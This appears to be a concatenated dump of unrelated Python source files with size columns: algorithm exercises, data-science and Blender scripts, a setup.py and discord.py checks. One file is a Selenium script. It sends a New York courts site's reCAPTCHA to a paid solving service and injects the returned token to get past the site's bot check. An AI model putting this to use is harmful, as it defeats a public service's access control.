# [4,5,6]
# [6,7,8]
# [3,9,10]
#
# The celebrities are [3,9,10]
#
problem3 = [[0,1,1,0,0,0,0,1,1,1],
[1,0,1,0,0,0,0,0,1,1],
[0,0,1,0,0,0,0,0,1,1],
[0,1,1,0,1,1,0,0,1,1],
[0,0,1,1,0,1,0,0,1,1],
[0,0,1,1,1,0,1,1,1,1],
[0,0,1,0,0,1,0,1,1,1],
[0,0,1,0,0,1,1,0,1,1],
[0,0,1,0,0,0,0,0,1,1],
[0,0,1,0,0,0,0,0,1,1]
]
#
# This is the same graph as the one above
# with the following changes:
# - 9 don't know 3 or 10
# This party graph know consists of just
# one celebrity: [9]
#
problem4 = [[0,1,1,0,0,0,0,1,1,1],
[1,0,1,0,0,0,0,0,1,1],
[0,0,1,0,0,0,0,0,1,1],
[0,1,1,0,1,1,0,0,1,1],
[0,0,1,1,0,1,0,0,1,1],
[0,0,1,1,1,0,1,1,1,1],
[0,0,1,0,0,1,0,1,1,1],
[0,0,1,0,0,1,1,0,1,1],
[0,0,0,0,0,0,0,0,1,0],
[0,0,1,0,0,0,0,0,1,1]
]
print("problem1")
problem = problem1
finding_celebrities(problem)
print("\nproblem2")
problem = problem2
finding_celebrities(problem)
print("\nproblem3")
problem = problem3
finding_celebrities(problem)
print("\nproblem4")
problem = problem4
finding_celebrities(problem)
| 4,517 | 1,951 |
import os
import pandas as pd
from base import BaseFeature
from encoding_func import target_encoding
from google.cloud import storage, bigquery
from google.cloud import bigquery_storage_v1beta1
class CountEncodingPresentDomains(BaseFeature):
def import_columns(self):
return [
"tweet_id",
"engaging_user_id"
]
def _read_present_domains_count_from_bigquery(
self, train_table_name: str, test_table_name) -> pd.DataFrame:
self._logger.info(f"Reading from {train_table_name} and {test_table_name}")
query = """
WITH subset AS (
(
SELECT tweet_id, any_value(present_domains) AS present_domains
FROM {}
GROUP BY tweet_id
)
UNION ALL
(
SELECT tweet_id, any_value(present_domains) AS present_domains
FROM {}
GROUP BY tweet_id
)
)
, unnest_subset AS (
SELECT tweet_id, present_domain
FROM subset,
unnest(present_domains) AS present_domain
)
, count_present_domain AS (
SELECT present_domain, COUNT(*) AS cnt
FROM unnest_subset
GROUP BY present_domain
)
SELECT
tweet_id,
AVG(cnt) AS mean_value,
min(cnt) AS min_value,
max(cnt) AS max_value,
case when stddev(cnt) is null then 1 else stddev(cnt) end AS std_value
FROM (
SELECT A.tweet_id, A.present_domain, B.cnt
FROM unnest_subset AS A
LEFT OUTER JOIN count_present_domain AS B
ON A.present_domain = B.present_domain
)
GROUP BY
tweet_id
""".format(train_table_name, test_table_name)
if self.debugging:
query += " limit 10000"
bqclient = bigquery.Client(project=self.PROJECT_ID)
bqstorageclient = bigquery_storage_v1beta1.BigQueryStorageClient()
df = (
bqclient.query(query)
.result()
.to_dataframe(bqstorage_client=bqstorageclient)
)
return df
def make_features(self, df_train_input, df_test_input):
# read unnested present_media
count_present_domains = self._read_present_domains_count_from_bigquery(
self.train_table, self.test_table
)
feature_names = ["mean_value", "max_value", "min_value", "std_value"]
print(count_present_domains.shape)
print(count_present_domains.isnull().sum())
df_train_features = pd.DataFrame()
df_test_features = pd.DataFrame()
df_train_input = pd.merge(df_train_input, count_present_domains, on="tweet_id", how="left").fillna(0)
df_test_input = pd.merge(df_test_input, count_present_domains, on="tweet_id", how="left").fillna(0)
for fe in feature_names:
df_train_features[fe] = df_train_input[fe].values
df_test_features[fe] = df_test_input[fe].values
print(df_train_features.isnull().sum())
print(df_test_features.isnull().sum())
return df_train_features, df_test_features
if __name__ == "__main__":
CountEncodingPresentDomains.main()
| 3,495 | 985 |
import numpy as np
import matplotlib.pyplot as plt
def prior(mu):
"""
Densidad de probabilidad de mu
"""
p = np.ones(len(mu))/(mu.max()-mu.min())
return p
def like(x, sigma, mu):
"""
Likelihod de tener un dato x e incertidumbre sigma
"""
L = np.ones(len(mu))
for x_i,sigma_i in zip(x, sigma):
L *= (1.0/np.sqrt(2.0*np.pi*sigma_i**2))*np.exp(-0.5*(x_i-mu)**2/(sigma_i**2))
return L
def posterior(mu, x, sigma):
"""
Posterior calculado con la normalizacion adecuada
"""
post = like(x, sigma, mu) * prior(mu)
evidencia = np.trapz(post, mu)
return post/evidencia
def maximo_incertidumbre(x, y):
deltax = x[1] - x[0]
# maximo de y
ii = np.argmax(y)
# segunda derivada
d = (y[ii+1] - 2*y[ii] + y[ii-1]) / (deltax**2)
return x[ii], 1.0/np.sqrt(-d)
x = [4.6, 6.0, 2.0, 5.8]
sigma = [2.0, 1.5, 5.0, 1.0]
mu = np.linspace(0.0, 10.0, 1000)
post = posterior(mu, x, sigma)
max, incertidumbre = maximo_incertidumbre(mu, np.log(post))
plt.figure()
plt.plot(mu, post)
plt.title('$\mu$= {:.2f} $\pm$ {:.2f}'.format(max, incertidumbre))
plt.xlabel('$\mu$')
plt.ylabel('prob($\mu$|datos)')
plt.savefig('mean.png')
| 1,214 | 576 |
def partition(arr, low, high):
i = (low - 1)
pivot = arr[high]
for j in range(low, high):
if arr[j] <= pivot:
i = i + 1
arr[i], arr[j] = arr[j], arr[i]
arr[i + 1], arr[high] = arr[high], arr[i + 1]
return i + 1
def quickSorting(arr, low, high):
if low < high:
pi = partition(arr, low, high)
quickSorting(arr, low, pi - 1)
quickSorting(arr, pi + 1, high)
arr = [10,9,8,7,2,3,5,2]
print("array is ",arr)
numberLength = len(arr)
quickSorting(arr, 0, numberLength - 1)
print("sorted array is ",arr) | 582 | 236 |
import bpy
import math
from . import data
# create a flat lens surface
def flat_surface(half_lens_height, ior, position, name):
bpy.ops.mesh.primitive_circle_add(vertices = 64, radius = half_lens_height, fill_type = 'TRIFAN', calc_uvs = False, location=(0,0,0), rotation = (0, -3.1415926536/2.0, 0))
bpy.ops.object.transform_apply()
bpy.context.active_object.location[0] = position
# rename object and move it to 'Objective' empty
bpy.context.active_object.name = name
bpy.context.active_object.parent = bpy.data.objects['Objective']
# add glass material
glass_material = bpy.data.materials['Glass Material'].copy()
glass_material.name = "Glass Material "+name
glass_material.node_tree.nodes['IOR'].outputs['Value'].default_value = ior
glass_material.node_tree.links.remove(glass_material.node_tree.nodes['Vector Transform.002'].outputs[0].links[0]) #delete normal recalculation for flat surface
bpy.context.active_object.data.materials.append(glass_material)
# get outer vertex for housing creation
bpy.ops.object.mode_set(mode="OBJECT")
outer_vertex = bpy.context.active_object.data.vertices[0]
for vertex in bpy.context.active_object.data.vertices:
if vertex.co.z > outer_vertex.co.z:
outer_vertex = vertex
return [outer_vertex.co.x, outer_vertex.co.y, outer_vertex.co.z]
# create a spherical lens surface
def lens_surface(vertex_count_height, vertex_count_radial, surface_radius, half_lens_height, ior, position, name):
flip = False
if surface_radius < 0.0:
flip = True
surface_radius = -1.0 * surface_radius
# calculate sagitta
sagitta = 0.0
if(half_lens_height < surface_radius):
sagitta = surface_radius - math.sqrt(surface_radius*surface_radius - half_lens_height*half_lens_height)
else:
sagitta = surface_radius
# calculate number of vertices needed to get vertex_count_height vertices
ratio = math.asin(half_lens_height/surface_radius) / 3.1415926536
num_vertices = 2 * int(vertex_count_height/ratio+0.5)
# create circle
bpy.ops.mesh.primitive_circle_add(vertices = num_vertices, radius = surface_radius, location = (0,0,0))
bpy.ops.object.transform_apply()
bpy.ops.object.mode_set(mode="EDIT")
bpy.ops.mesh.select_all(action='DESELECT')
bpy.ops.object.mode_set(mode="OBJECT")
bpy.context.active_object.data.vertices[0].co.x = 0.0
# select all vertices that should be deleted
for vertex in bpy.context.active_object.data.vertices:
if (vertex.co.y < surface_radius - sagitta) or (vertex.co.x > 0.0):
vertex.select = True
bpy.ops.object.mode_set(mode="EDIT")
bpy.ops.mesh.delete(type='VERT')
#select all remaining vertices to create a rotational surface
bpy.ops.mesh.select_all(action='SELECT')
# use the spin operator to create the rotational surface
bpy.ops.mesh.spin(steps = vertex_count_radial, angle = 2.0*math.pi, axis = (0,1,0))
# remove double vertices resulting from the spinning
bpy.ops.mesh.select_all(action='SELECT')
bpy.ops.mesh.remove_doubles(threshold=0.0)
# flip normals for a convex surface
if not flip:
bpy.ops.mesh.select_all(action='SELECT')
bpy.ops.mesh.flip_normals()
bpy.ops.object.mode_set(mode = "OBJECT")
# move to correct position
bpy.context.active_object.rotation_euler[0] = math.pi/2.0
if flip:
bpy.context.active_object.rotation_euler[1] = math.pi/2.0
else:
bpy.context.active_object.rotation_euler[1] = -math.pi/2.0
bpy.ops.object.transform_apply()
bpy.context.active_object.location[0] = position
# rename object and move it to 'Objective' empty
bpy.context.active_object.name = name
bpy.context.active_object.parent = bpy.data.objects['Objective']
# add glass material
glass_material = bpy.data.materials['Glass Material'].copy()
glass_material.name = "Glass Material "+name
glass_material.node_tree.nodes['IOR'].outputs['Value'].default_value = ior
bpy.context.active_object.data.materials.append(glass_material)
#return the outer vertex for housing creation
bpy.ops.object.mode_set(mode="OBJECT")
outer_vertex = bpy.context.active_object.data.vertices[0]
for vertex in bpy.context.active_object.data.vertices:
if vertex.co.z > outer_vertex.co.z:
outer_vertex = vertex
return [outer_vertex.co.x, outer_vertex.co.y, outer_vertex.co.z]
# create camera and objective housing as a rotational surface using the outer vertices of the lenses
def housing(outer_vertices, outer_lens_index, vertex_count_radial):
bpy.data.meshes['Housing Mesh'].vertices.add(len(outer_vertices)+3)
# add outer lens vertices to mesh
for i in range(0, len(outer_vertices)):
bpy.data.meshes['Housing Mesh'].vertices[i].co.x = outer_vertices[i][0] + data.objective[outer_lens_index[i]]['position']
bpy.data.meshes['Housing Mesh'].vertices[i].co.y = outer_vertices[i][1]
bpy.data.meshes['Housing Mesh'].vertices[i].co.z = outer_vertices[i][2]
# add camera housing vertices to mesh
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.x = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.x
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.y = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.y
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.z = 1.5 * bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.z
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.x = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.x + max(3.0 * data.objective[len(data.objective)-1]['thickness'], bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)-1].co.x-bpy.data.meshes['Housing Mesh'].vertices[0].co.x)
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.y = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.y
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.z = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)].co.z
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+2].co.x = bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+1].co.x
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+2].co.y = 0.0
bpy.data.meshes['Housing Mesh'].vertices[len(outer_vertices)+2].co.z = 0.0
# connect vertices
bpy.ops.object.mode_set(mode="OBJECT")
bpy.ops.object.select_all(action='DESELECT')
bpy.context.view_layer.objects.active = bpy.data.objects['Objective Housing']
for i in range(0, len(outer_vertices)+2):
bpy.ops.object.mode_set(mode="EDIT")
bpy.ops.mesh.select_all(action='DESELECT')
bpy.ops.object.mode_set(mode="OBJECT")
# select two vertices
bpy.data.objects['Objective Housing'].data.vertices[i].select = True
bpy.data.objects['Objective Housing'].data.vertices[i+1].select = True
bpy.ops.object.mode_set(mode="EDIT")
bpy.ops.mesh.edge_face_add()
# select all vertices to create a rotational surface
bpy.ops.object.mode_set(mode="EDIT")
bpy.ops.mesh.select_all(action='DESELECT')
bpy.ops.mesh.select_all(action='SELECT')
# use the spin operator to create the rotational surface
bpy.ops.mesh.spin(steps = vertex_count_radial, angle = 2.0*3.1415926536, axis = (1,0,0), center = (0,0,0))
# remove double vertices resulting from the spinning
bpy.ops.mesh.select_all(action='SELECT')
bpy.ops.mesh.remove_doubles(threshold=0.0, use_unselected=True)
bpy.ops.object.mode_set(mode="OBJECT")
bpy.data.objects['Objective Housing'].display_type='WIRE'
# create aperture by using the difference modifier on a plane
def aperture():
# check if old opening exists and delete it
for current_object in bpy.data.objects:
current_object.select_set(False)
if current_object.name == 'Opening':
bpy.data.objects['Opening'].hide_viewport = False
bpy.data.objects['Opening'].hide_render = False
bpy.context.active_object.select_set(False)
current_object.select_set(True)
bpy.ops.object.delete()
# create circle
num_of_blades = bpy.data.scenes[0].camera_generator.prop_aperture_blades
bpy.ops.mesh.primitive_circle_add(vertices=num_of_blades,radius=0.5, location=(0,0,0))
# rename
bpy.context.active_object.name="Opening"
# rotate
bpy.context.active_object.rotation_euler[0] = 90.0/180.0*3.1415926536
bpy.context.active_object.rotation_euler[2] = 90.0/180.0*3.1415926536
# switch to edit mode, add face and extrude object
bpy.ops.object.mode_set(mode="EDIT")
bpy.ops.mesh.edge_face_add()
bpy.ops.mesh.extrude_edges_move()
bpy.ops.transform.translate(value=(0.01, 0, 0))
bpy.ops.mesh.edge_face_add()
bpy.ops.mesh.select_all()
bpy.ops.mesh.normals_make_consistent(inside=False)
# switch back to object mode and reset position
bpy.ops.object.mode_set(mode="OBJECT")
bpy.context.active_object.location[0] = -0.005
bpy.ops.object.transform_apply()
# move object to aperture empty
bpy.context.active_object.parent=bpy.data.objects['Aperture']
# set difference modifier of aperture plane to use new shape
bpy.data.objects['Aperture Plane'].modifiers['Difference'].object=bpy.data.objects['Opening']
bpy.data.objects['Opening'].hide_viewport=True
bpy.data.objects['Opening'].hide_render = True
# rescale opening according to currently set scaling
bpy.data.objects['Opening'].scale[1] = bpy.data.scenes[0].camera_generator.prop_aperture_size/1000.0
bpy.data.objects['Opening'].scale[2] = bpy.data.scenes[0].camera_generator.prop_aperture_size/1000.0
# rotate opening according to currently set angle
bpy.data.objects['Opening'].rotation_euler[0] = bpy.data.scenes[0].camera_generator.prop_aperture_angle/180.0*math.pi | 10,032 | 3,676 |
from rest_framework.permissions import AllowAny, IsAuthenticated
from rest_framework.generics import (CreateAPIView, UpdateAPIView,)
from api.account.REST_API.serializers import UserProfileSerializer
class CreateUserAPIView(CreateAPIView):
permission_classes = (AllowAny,)
serializer_class = UserProfileSerializer
| 326 | 89 |
from python_anticaptcha import AnticaptchaClient, NoCaptchaTaskProxylessTask
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.by import By
from selenium.webdriver.support import expected_conditions as EC
from time import sleep
import config
api_key = config.keys['api_key']
site_key = config.keys['site_key'] # grab from site
# url = 'https://www.google.com/recaptcha/api2/demo'
url = 'https://iapps.courts.state.ny.us/webcivilLocal/captcha'
# Launch Chrome
options = webdriver.ChromeOptions()
driver = webdriver.Chrome(options=options, executable_path=r'/Users/mattheweng/bin/chromedriver')
driver.get("https://iapps.courts.state.ny.us/webcivilLocal/LCSearch?param=I")
url = driver.current_url
sleep(30)
print(1, url)
# Perform AntiCaptcha task
client = AnticaptchaClient(api_key)
task = NoCaptchaTaskProxylessTask(url, site_key)
job = client.createTask(task)
print('Getting solution...')
job.join()
# Receive response
response = job.get_solution_response()
print("Received solution", response)
# Inject response in webpage
# driver.execute_script('document.getElementById("g-recaptcha-response").innerHTML = "%s"' % response)
driver.execute_script(
"arguments[0].style.display='inline'",
driver.find_element_by_xpath(
'//*[@id="g-recaptcha-response"]'
),
)
driver.execute_script(
'document.getElementById("g-recaptcha-response").innerHTML = "%s"'
% response
)
# Wait a moment to execute the script (just in case).
sleep(10)
# Press submit button
print('Submitting solution...')
# driver.find_element_by_id('captcha_form').submit()
WebDriverWait(driver, 10).until(EC.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[name^='a-'][src^='https://www.google.com/recaptcha/api2/anchor?']")))
WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, "//span[@class='recaptcha-checkbox goog-inline-block recaptcha-checkbox-unchecked rc-anchor-checkbox']/div[@class='recaptcha-checkbox-checkmark']"))).click()
'''
options = webdriver.ChromeOptions()
# options.add_argument("start-maximized")
# options.add_experimental_option("excludeSwitches", ["enable-automation"])
# options.add_experimental_option('useAutomationExtension', False)
options.add_argument("--user-data-dir=/Users/mattheweng/Library/Application Support/Google/Chrome/Default")
driver = webdriver.Chrome(options=options, executable_path=r'/Users/mattheweng/bin/chromedriver')
print(0)
driver.get("https://iapps.courts.state.ny.us/webcivilLocal/LCSearch?param=I")
print(1)
driver.implicitly_wait(10)
WebDriverWait(driver, 100).until(EC.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[src^='https://www.google.com/recaptcha/api2/anchor?']")))
print(1.5)
driver.implicitly_wait(10)
WebDriverWait(driver, 100).until(EC.element_to_be_clickable((By.CSS_SELECTOR, "span.recaptcha-checkbox.goog-inline-block.recaptcha-checkbox-unchecked.rc-anchor-checkbox"))).click()
print(1.7)
driver.switch_to_default_content()
# WebDriverWait(driver, 10).until(EC.frame_to_be_available_and_switch_to_it((By.CSS_SELECTOR,"iframe[name^='a-'][src^='https://www.google.com/recaptcha/api2/anchor?']")))
print(2)
# WebDriverWait(driver, 10).until(EC.element_to_be_clickable((By.XPATH, "//span[@id='recaptcha-anchor']"))).click()
'''
| 3,321 | 1,158 |
import claripy
import logging
from ..java import JavaSimProcedure
log = logging.getLogger(name=__name__)
class Random(JavaSimProcedure):
__provides__ = (
('java.lang.Math', 'random'),
)
def run(self):
log.debug('Called SimProcedure java.lang.Math.random with args')
return claripy.FPS('rand_int', claripy.FSORT_DOUBLE)
| 360 | 122 |
import os
import sys
import h5py
import _pickle as cPickle
import numpy as np
import requests
import torch
from torch.utils.data import Dataset
sys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))
from utils.dataset import Dictionary
MAX_QUES_SEQ_LEN = 26
NO_OBJECTS = 36
URL_FEATURE_SERVER = "http://127.0.0.1:6000/GetFeature"
class VQAFeatureDataset(Dataset):
def __init__(self, dataroot="data"):
super(VQAFeatureDataset, self).__init__()
self.dictionary = Dictionary.load_from_file(
os.path.join(dataroot, "glove", "dictionary.pkl")
)
ans2label_path = os.path.join(
dataroot,
"cache",
"trainval_ans2label.pkl",
)
label2ans_path = os.path.join(
dataroot,
"cache",
"trainval_label2ans.pkl",
)
self.ans2label = cPickle.load(open(ans2label_path, "rb"))
self.label2ans = cPickle.load(open(label2ans_path, "rb"))
self.num_ans_candidates = len(self.ans2label)
name = "demo"
self.img_id2idx = cPickle.load(
open(
os.path.join(
dataroot,
"imgids/%s%s_imgid2idx.pkl" % (name, 36),
),
"rb",
)
)
h5_dataroot = dataroot + "/Bottom-up-features-fixed"
h5_path = os.path.join(h5_dataroot, "%s%s.hdf5" % (name, "36"))
print("loading features from h5 file %s" % h5_path)
hf_file = h5py.File(h5_path, "r")
self.features = hf_file.get("image_features")
self.bboxes = hf_file.get("image_bb")
self.question = None
self.image_id = None
def set_input(self, image_id, question):
tokens = self.dictionary.tokenize(question, False)
tokens = tokens[:MAX_QUES_SEQ_LEN]
if len(tokens) < MAX_QUES_SEQ_LEN:
padding = [self.dictionary.padding_idx] * (
MAX_QUES_SEQ_LEN - len(tokens)
)
tokens = tokens + padding
self.question = torch.from_numpy(np.array(tokens))
self.image_id = image_id
def __getitem__(self, index):
return (
torch.from_numpy(self.features[self.img_id2idx[self.image_id]]),
torch.from_numpy(self.bboxes[self.img_id2idx[self.image_id]]),
self.question,
)
def __len__(self):
return 1
| 2,437 | 861 |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
# from __future__ import unicode_literals
__author__ = "d01 <Florian Jung>"
__email__ = "jungflor@gmail.com"
__copyright__ = "Copyright (C) 2015-16, Florian JUNG"
__license__ = "MIT"
__version__ = "0.1.2"
__date__ = "2016-03-31"
# Created: 2015-09-20 05:30
try:
from setuptools import setup
except ImportError:
from distutils.core import setup
import sys
import os
import re
if sys.argv[-1] == "build":
os.system("python setup.py clean sdist bdist bdist_egg bdist_wheel")
def get_version():
"""
Parse the version information from the init file
"""
version_file = os.path.join("paps_realtime", "__init__.py")
initfile_lines = open(version_file, "rt").readlines()
version_reg = r"^__version__ = ['\"]([^'\"]*)['\"]"
for line in initfile_lines:
mo = re.search(version_reg, line, re.M)
if mo:
return mo.group(1)
raise RuntimeError(
u"Unable to find version string in {}".format(version_file)
)
version = get_version()
requirements = open("requirements.txt", "r").read().split("\n")
setup(
name="paps-realtime",
version=version,
description="Realtime browser display plugin for paps",
long_description="",
author=__author__,
author_email=__email__,
url="https://github.com/the01/paps-realtime",
packages=[
"paps_realtime"
],
install_requires=requirements,
include_package_data=True,
license=__license__,
keywords="paps audience participation display browser",
classifiers=[
"Development Status :: 2 - Pre-Alpha",
"Intended Audience :: Developers",
"License :: OSI Approved :: MIT License",
"Natural Language :: English",
"Programming Language :: Python :: 2",
"Programming Language :: Python :: 2.7"
]
)
| 1,963 | 672 |
"""
demo_nonlinear_data_fitting.py
Fit a model A * sin(W * t + phi) to the data f(X, ti) = yi to find A, W, and phi
m = number of data points
Solve a system of non-linear equations f(X, ti) - yi = 0:
x1 * sin(x2 * t + x3) - y = 0, where X = [x1 = A, x2 = W, x3 = phi].T, t = [t1, t2, ..., tm].T and y = [y1, y2, ..., ym].T
Minimize the following objective function: (f(X, t) - y).T @ (f(X, t) - y)
Levenberg - Marquardt algorithm
General algorithm for any f(X) function. Requires residuals and jacobian.
X0 converges to X* for any X0.
Naive random walk algorithm
General algorithm for any f(X) function. Requires only residuals.
X0 converges to X* for any X0.
Simulated annealing algorithm
General algorithm for any f(X) function. Requires only residuals.
X0 converges to X* for any X0.
Particle swarm optimization algorithm
General algorithm for any f(X) function. Requires only residuals.
X0 converges to X* for any X0.
"""
import numpy as np
import matplotlib.pyplot as plt
from levenberg_marquardt_algorithm import levenberg_marquardt_algorithm
from naive_random_search_algorithm import naive_random_search_algorithm
from simulated_annealing_algorithm import simulated_annealing_algorithm
from particle_swam_optimization_algorithm import particle_swam_optimization_algorithm
from print_report import print_report
from plot_progress_y import plot_progress_y
import time
X = np.array([[0.75], [2.3], [-3]]);
t = np.arange(0, 20, 0.1);
# Nonlinear model to fit
func = lambda X : X[0] * np.sin(X[1] * t + X[2]);
# Plot the curve
fig = plt.figure();
y = func(X);
plt.plot(t, y)
plt.show()
func_residual = lambda X : (X[0] * np.sin(X[1] * t + X[2]) - y).reshape((t.size, 1));
func_jacobian = lambda X : np.array([[-np.sin(X[1] * t + X[2])], [-t * X[0] * np.cos(X[1] * t + X[2])], [-X[0] * np.cos(X[1] * t + X[2])]]).reshape((t.size, X.size));
# Objective function for naive random walk and simulated annealing algorithms
func_error = lambda X : np.linalg.norm((X[0] * np.sin(X[1] * t + X[2]) - y).reshape((t.size, 1)), axis = 0) ** 2;
# Objective function for particle swarm optimization algorithm (particles along row dimension, axis = 0)
func_error_ps = lambda X : np.linalg.norm(X[:, [0]] * np.sin(X[:, [1]] * t + X[:, [2]]) - y, axis = 1).reshape((-1, 1)) ** 2;
# Levenberg-Marquardt algorithm
print('***********************************************************************');
print('Levenberg - Marquardt algorithm');
N_iter_max = 1000;
tolerance_x = 10e-6;
tolerance_y = 10e-8;
X_lower = np.array([[0], [0], [-5]]); # X lower bound
X_upper = np.array([[2], [5], [0]]); # X upper bound
options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower,
'x_upper' : X_upper};
X0 = np.array([[0.1], [1], [-2]]);
start = time.time();
X, report = levenberg_marquardt_algorithm(X0, func_residual, func_jacobian, options);
end = time.time();
print_report(func_error, report);
# Plot path to X* for Y
algorithm_name = 'Levenberg - Marquardt algorithm';
plot_progress_y(algorithm_name, report);
print('Elapsed time [s]: %0.5f' % (end - start));
print('***********************************************************************\n');
# Naive random walk algorithm
print('***********************************************************************');
print('Naive random walk algorithm');
N_iter_max = 1000;
tolerance_x = 10e-8;
tolerance_y = 10e-8;
X_lower = np.array([[0], [0], [-5]]); # X lower bound
X_upper = np.array([[2], [5], [0]]); # X upper bound
alpha = 0.5; # step size
options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower,
'x_upper' : X_upper, 'alpha' : alpha};
X0 = np.array([[0.1], [1], [-2]]); # X0 = X_lower + (X_upper - X_lower) * np.random.rand(X_lower.size, 1);
start = time.time();
X, report = naive_random_search_algorithm(X0, func_error, options);
end = time.time();
print_report(func_error, report);
# Plot path to X* for Y
algorithm_name = 'Naive random walk algorithm';
plot_progress_y(algorithm_name, report);
print('Elapsed time [s]: %0.5f' % (end - start));
print('***********************************************************************\n');
# Simulated annealing algorithm
print('***********************************************************************');
print('Simulated annealing algorithm');
N_iter_max = 1000;
tolerance_x = 10e-8;
tolerance_y = 10e-8;
X_lower = np.array([[0], [0], [-5]]); # X lower bound
X_upper = np.array([[2], [5], [0]]); # X upper bound
alpha = 1.0; # step size
gamma = 1.5; # controls temperature decay, gamma > 0
options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower,
'x_upper' : X_upper, 'alpha' : alpha, 'gamma' : gamma};
X0 = np.array([[0.1], [1], [-2]]); # X0 = X_lower + (X_upper - X_lower) * np.random.rand(X_lower.size, 1);
start = time.time();
X, report = simulated_annealing_algorithm(X0, func_error, options);
end = time.time();
print_report(func_error, report);
# Plot path to X* for Y
algorithm_name = 'Simulated annealing algorithm';
plot_progress_y(algorithm_name, report);
print('Elapsed time [s]: %0.5f' % (end - start));
print('***********************************************************************\n');
# Particle swarm optimization algorithm
print('***********************************************************************');
print('Particle swarm optimization algorithm');
N_iter_max = 1000;
tolerance_x = 10e-8;
tolerance_y = 10e-8;
X_lower = np.array([[0], [0], [-5]]); # X lower bound
X_upper = np.array([[2], [5], [0]]); # X upper bound
d_lower = -1; # direction (aka velocity) lower bound
d_upper = 1; # direction (aka velocity) upper bound
N_ps = 10000; # number of particles
w = 0.9; # inertial constant, w < 1
c1 = 1.5; # cognitive/independent component, c1 ~ 2
c2 = 1.5; # social component, c2 ~ 2
alpha = 1; # step size
options = {'tolerance_x' : tolerance_x, 'tolerance_y' : tolerance_y, 'N_iter_max' : N_iter_max, 'x_lower' : X_lower,
'x_upper' : X_upper, 'alpha' : alpha, 'd_lower' : d_lower, 'd_upper' : d_upper, 'N_ps' : N_ps, 'w' : w, 'c1' : c1, 'c2' : c2};
start = time.time();
X, report = particle_swam_optimization_algorithm(func_error_ps, options);
end = time.time();
print_report(func_error, report);
# Plot path to X* for Y
algorithm_name = 'Particle swarm optimization algorithm';
plot_progress_y(algorithm_name, report);
print('Elapsed time [s]: %0.5f' % (end - start));
print('***********************************************************************\n'); | 6,639 | 2,460 |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# MIT License
#
# Copyright (c) 2018-2019 Nekoka.tt
#
# Permission is hereby granted, free of charge, to any person obtaining a copy
# of this software and associated documentation files (the "Software"), to deal
# in the Software without restriction, including without limitation the rights
# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
# copies of the Software, and to permit persons to whom the Software is
# furnished to do so, subject to the following conditions:
#
# The above copyright notice and this permission notice shall be included in a$
# copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
# SOFTWARE.
"""
Custom checks you can use with commands.
Note:
This is designed to be used as a replacement for any checks in
:mod:`discord.ext.commands.core`.
Author:
Espy/Neko404NotFound
"""
__all__ = (
"NotGuildOwner",
"is_guild_owner",
"check",
"is_owner",
"bot_has_role",
"bot_has_any_role",
"bot_has_permissions",
"guild_only",
"is_nsfw",
"cooldown",
"has_any_role",
"has_role",
"has_permissions",
"BucketType",
)
from discord.ext import commands as _commands
from discord.ext.commands import (
bot_has_role,
guild_only,
cooldown,
has_any_role,
has_role,
)
from discord.ext.commands import (
check,
is_owner,
is_nsfw,
bot_has_any_role,
bot_has_permissions,
)
from discord.ext.commands import has_permissions, BucketType
class NotGuildOwner(_commands.CheckFailure):
"""
Raised if a command decorated with the ``@is_guild_owner()`` check is invoked by
someone other than the guild owner.
"""
def __init__(self):
super().__init__(
"You are not the server owner, so you cannot run this command."
)
def is_guild_owner():
"""
A check returning true if the guild owner invoked the command, and we are in a guild.
If we are not in a guild, we return False to fail the check. If we are not the guild
owner, and one exists, we raise ``NotGuildOwner`` to show a custom error message.
"""
def decorator(ctx):
if not ctx.guild:
return False
elif not (
ctx.guild.owner.id == ctx.author.id or ctx.author.id == ctx.bot.owner_id
):
raise NotGuildOwner
return True
return check(decorator)
| 2,885 | 968 |
#
# Copyright 2016 The BigDL Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
